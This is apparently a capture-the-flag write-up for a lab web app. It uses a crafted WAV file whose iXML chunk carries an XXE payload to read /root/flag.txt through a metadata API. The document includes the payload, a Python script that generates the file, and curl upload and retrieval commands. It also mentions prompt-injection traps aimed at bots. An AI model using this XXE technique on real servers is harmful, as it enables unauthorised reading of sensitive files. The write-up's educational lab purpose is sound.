MediaForge
MediaForge
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: in_band_xxe_exfiltration, riff_wav_file_crafting, xml_external_entity_file_read, xxe_via_wav_ixml_chunk
Summary
Task: PHP media platform parses iXML metadata from uploaded WAV files using XML parser with external entities enabled. Solution: Craft WAV with iXML chunk containing XXE payload to read /root/flag.txt, exfiltrated in-band via metadata API.
MediaForge — HackAdvisor Lab 263
Description
MediaForge is a content management platform by ForgeMedia Inc. that powers blogs and media-rich websites. It features a media library for uploading and managing images, audio, and video files, along with a post editor, gallery views, and site configuration.
The platform automatically extracts metadata from uploaded audio files. WAV files receive special treatment — the system parses their embedded iXML production metadata, a standard used by professional audio equipment from Sound Devices, Zoom, and Lectrosonics.
You have been given author-level credentials to test the platform's security. Your goal is to find a way to read sensitive files from the server.
English summary: A PHP/nginx content management platform with a media library that accepts file uploads. WAV files have their iXML metadata chunks parsed server-side and the extracted fields are returned via a metadata API endpoint. The goal is to exploit this XML parsing to read sensitive files from the server.
Credentials: user@test.com / password123
Analysis
Reconnaissance
After logging in, the application exposes several pages:
/— Dashboard/posts— Blog posts/media— Media Library with upload form and metadata viewer/gallery— Gallery view/profile— User profile
The media library at /media has an upload form (POST /media/upload, multipart/form-data) accepting image formats (JPG, PNG, GIF, WebP) and audio/video formats (WAV, MP3, OGG, MP4, WebM). The page explicitly states:
"Audio files (WAV) will have metadata automatically extracted, including iXML production data."
Each uploaded media item has a "Metadata" button that calls GET /media/{id}/metadata, returning JSON with parsed metadata. An existing WAV file (id=6, field-recording-demo.wav) showed the structure:
json read-only • copy allowed{ "ixml_data": { "project": "ForgeMedia Demo", "scene": "Studio A", "take": "01", "note": "Sample recording for documentation" } }
HTML source contained decoy flags FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection traps — correctly identified and ignored.
Vulnerability Identification
The iXML chunk in WAV files is an XML document embedded inside the RIFF container. The server parses this XML to extract production metadata fields (PROJECT, SCENE, TAKE, NOTE). If the PHP XML parser has external entity resolution enabled (default for older libxml configurations or when LIBXML_NOENT is passed), injecting a DOCTYPE with an external entity in the iXML chunk causes the parser to resolve file:// URIs — a classic XXE (XML External Entity) attack.
Since the parsed values are reflected directly in the /media/{id}/metadata JSON response, this is an in-band XXE — no out-of-band exfiltration channel is needed.
Solution
Step 1: Craft Malicious WAV File
WAV files use the RIFF container format. A valid WAV consists of:
- RIFF header (12 bytes):
"RIFF"+ total size (4 bytes LE) +"WAVE" - fmt chunk: audio format parameters (PCM, 44100 Hz, 16-bit, mono)
- data chunk: audio sample data (1 second of silence = 88200 bytes)
- iXML chunk:
"iXML"+ size (4 bytes LE) + XML payload
The iXML XML payload declares an external entity pointing to /root/flag.txt and references it in the <PROJECT> element:
xml read-only • copy allowed<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE BWFXML [ <!ENTITY xxe SYSTEM "file:///root/flag.txt"> ]> <BWFXML> <IXML_VERSION>1.0</IXML_VERSION> <PROJECT>&xxe;</PROJECT> <SCENE>Test Scene</SCENE> <TAKE>01</TAKE> <NOTE>Test note</NOTE> </BWFXML>
Step 2: Python Script to Generate the WAV
python read-only • copy allowed#!/usr/bin/env python3 """Craft a WAV file with XXE payload in iXML chunk.""" import struct def create_wav_with_ixml(ixml_content, output_path): """Create a minimal valid WAV file with an iXML chunk containing the given XML.""" num_channels = 1 sample_rate = 44100 bits_per_sample = 16 byte_rate = sample_rate * num_channels * bits_per_sample // 8 block_align = num_channels * bits_per_sample // 8 # 1 second of silence num_samples = 44100 audio_data = b'\x00\x00' * num_samples # fmt chunk fmt_chunk = struct.pack('<4sI', b'fmt ', 16) fmt_chunk += struct.pack('<HHIIHH', 1, num_channels, sample_rate, byte_rate, block_align, bits_per_sample) # data chunk data_chunk = struct.pack('<4sI', b'data', len(audio_data)) data_chunk += audio_data # iXML chunk ixml_bytes = ixml_content.encode('utf-8') ixml_chunk = struct.pack('<4sI', b'iXML', len(ixml_bytes)) ixml_chunk += ixml_bytes if len(ixml_bytes) % 2 != 0: ixml_chunk += b'\x00' # RIFF padding to even length # RIFF header riff_size = 4 + len(fmt_chunk) + len(data_chunk) + len(ixml_chunk) riff_header = struct.pack('<4sI4s', b'RIFF', riff_size, b'WAVE') with open(output_path, 'wb') as f: f.write(riff_header) f.write(fmt_chunk) f.write(data_chunk) f.write(ixml_chunk) print(f"Created {output_path} ({riff_size + 8} bytes)") ixml_payload = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE BWFXML [ <!ENTITY xxe SYSTEM "file:///root/flag.txt"> ]> <BWFXML> <IXML_VERSION>1.0</IXML_VERSION> <PROJECT>&xxe;</PROJECT> <SCENE>Test Scene</SCENE> <TAKE>01</TAKE> <NOTE>Test note</NOTE> </BWFXML>""" create_wav_with_ixml(ixml_payload, 'xxe_inband.wav')
Step 3: Upload and Retrieve Flag
Upload the crafted WAV file:
bash read-only • copy allowedcurl -s -b cookies.txt -F "media_file=@xxe_inband.wav" "$BASE/media/upload"
Retrieve the metadata for the newly uploaded file:
bash read-only • copy allowedcurl -s -b cookies.txt "$BASE/media/7/metadata"
Response:
json read-only • copy allowed{ "id": 7, "filename": "xxe_inband.wav", "mime_type": "audio/x-wav", "file_size": 88512, "uploaded_at": "2026-05-21 08:08:56", "metadata": { "format": "WAV", "codec": "PCM", "channels": 1, "sample_rate": 44100, "bits_per_sample": 16, "bitrate": 705600, "duration_seconds": 1, "ixml_data": { "project": "FLAG{REDACTED}\n", "scene": "Test Scene", "take": "01", "note": "Test note" } } }
The flag appeared in the project field — the PHP XML parser resolved the &xxe; entity, read /root/flag.txt, and substituted its contents into the parsed XML tree.